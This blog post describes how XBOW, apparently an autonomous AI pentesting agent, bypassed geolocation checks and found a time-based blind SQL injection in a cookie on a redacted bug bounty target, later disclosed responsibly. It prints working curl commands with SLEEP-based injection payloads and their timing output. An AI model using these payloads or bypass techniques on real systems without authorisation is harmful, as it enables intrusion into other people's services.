July 31, 2025

Nico

Waisman

The campaign is not available in your country: XBOW discovered an SQLi while attempting to bypass geolocation restrictions.

As much as an AI might get discouraged, it’s also incredibly relentless in its pursuit.

Welcome back to another insightful blog post, where we dive into some of the most intriguing vulnerabilities XBOW automatically discovered during the recent HackerOne campaign.

Have you ever found yourself traveling abroad or browsing an interesting website, only to be greeted with the frustrating message: “We’re sorry, your country is not participating in this campaign”?

Well, let me share a little secret with you, dear reader AI can get frustrated too, especially when its main goal is to uncover fascinating SQL injection vulnerabilities. But as much as an AI might get discouraged, it’s also incredibly relentless in its pursuit.

Bypassing geolocation restriction

Like any savvy hacker, the process begins with a classic geo-location bypass technique modifying the X-Forwarded-For header to use an IP address like 8.8.8.8 or a local address from the target region. In this case, XBOW selected a random Serbian IP.

$ curl -v -H "X-Forwarded-For: 212.200.68.1" https://[REDACTED]/winners/

Unfortunately, none of those tricks worked. The next step was to try different User-Agent strings, hoping that perhaps the mobile version of the site might be accessible. These attempts were also unsuccessful, but each failed attempt offered new insights.

Shifting strategies, XBOW initiated a search for hidden endpoints. This involved running an array of discovery tools and checking files like robots.txt and sitemap.xml. While this approach revealed some interesting information, most of these endpoints were also protected by geo-location restrictions.

With those avenues exhausted, XBOW’s next move was to try registering an account or guessing login credentials. Despite multiple attempts, neither approach yielded results. Discovery had reached a dead end… It was time to move forward with the tools at hand and take a more direct approach.

Digital Nomad

With the reconnaissance phase exhausted, XBOW decides it’s time to go on the offensive. It begins launching a series of targeted attacks against various endpoint parameters, even running sqlmap to see if the tool can uncover anything that might have slipped through the cracks. XBOW isn’t afraid to leverage every resource available in a pentester’s toolkit.

Every failure is just a new opportunity to experiment. So next, XBOW turns its attention to the cookies. This pivot leads to a major breakthrough!

This is very interesting!
The requests were:
1. `Cookie: token=rs' AND SLEEP(1)--` to `/winners/`  
- First response: 302 redirect to `/not_participating/`  
- Second response (following redirect): **HTTP 500 Internal Server Error**. Time: 0.737s

2. `Cookie: token=rs' AND SLEEP(5)--` to `/winners/`  
- First response: 302 redirect to `/not_participating/`  
- Second response (following redirect): **HTTP 500 Internal Server Error**. Time: 0.767s

3. `Cookie: token=rs%27%20AND%20SLEEP(1)--` (URL encoded) to `/winners/`  
- First response: 302 redirect to `/not_participating/`  
- Second response (following redirect): **HTTP 500 Internal Server Error**. Time: 0.741s

4. `Cookie: token=rs%27%20AND%20SLEEP(5)--` (URL encoded) to `/winners/`  
- First response: 302 redirect to `/not_participating/`  
- Second response (following redirect): **HTTP 500 Internal Server Error**. Time: 0.701s

Observations:
- The initial request to `/winners/` with the malicious cookie results in a 302 redirect.
- When `curl -L` follows the redirect to `/not_participating/`, it *re-sends the cookie*. This is crucial.
- The request to `/not_participating/` with the malicious cookie causes an HTTP 500 error. This strongly suggests that the `token` cookie is being processed by the `/not_participating/` page (or some middleware for it) and the SQLi payload is causing an error.
- The times are all sub-second. This means `SLEEP()` is likely not executing successfully, or the error happens before `SLEEP()` can complete, or the sleep duration is too short to be reliably measured over the network and redirection.

The /non_participating/ endpoint returns a 500 Internal Server Error whenever XBOW sends a cookie containing a SQL injection payload.

Sensing this as a potential vulnerability, XBOW goes in for confirmation. It conducts two blind SQL injection tests, one that triggers a 1-second SLEEP and another with a 5-second SLEEP, carefully measuring the response times to determine if SQL injection is indeed present.

pentester0 $ echo "Testing SLEEP(1) on /not_participating/"
Testing SLEEP(1) on /not_participating/
pentester0 $ time curl -H "Cookie: token=rs' AND SLEEP(1) AND '1'='1" "https://[REDACTED]/not_participating/" -o /dev/null -s -w "Status: %{http_code}, CurlTime: %{time_total}\n"
Status: 200, CurlTime: 3.517029

real    0m3.547s
user    0m0.094s
sys     0m0.044s
pentester0 $
pentester0 $ echo "Testing SLEEP(5) on /not_participating/"
Testing SLEEP(5) on /not_participating/
pentester0 $ time curl -H "Cookie: token=rs' AND SLEEP(5) AND '1'='1" "https://[REDACTED]/not_participating/" -o /dev/null -s -w "Status: %{http_code}, CurlTime: %{time_total}\n"
Status: 200, CurlTime: 15.545778

The results are unmistakable: the SQL injection is successfully triggered.

While XBOW may still be barred from participating in the webapp promotion due to geo-restrictions, it did uncover a significant vulnerability, and promptly reported it to the bug bounty program through responsible disclosure.

We would like to thank the [REDACTED] bug bounty program for their quick response and swift resolution of the vulnerability. We truly appreciate working with programs that prioritize security and efficiency.

https://xbow-website-b1b.pages.dev/traces/https://xbow-website-b1b.pages.dev/traces/geolocation-sql-injection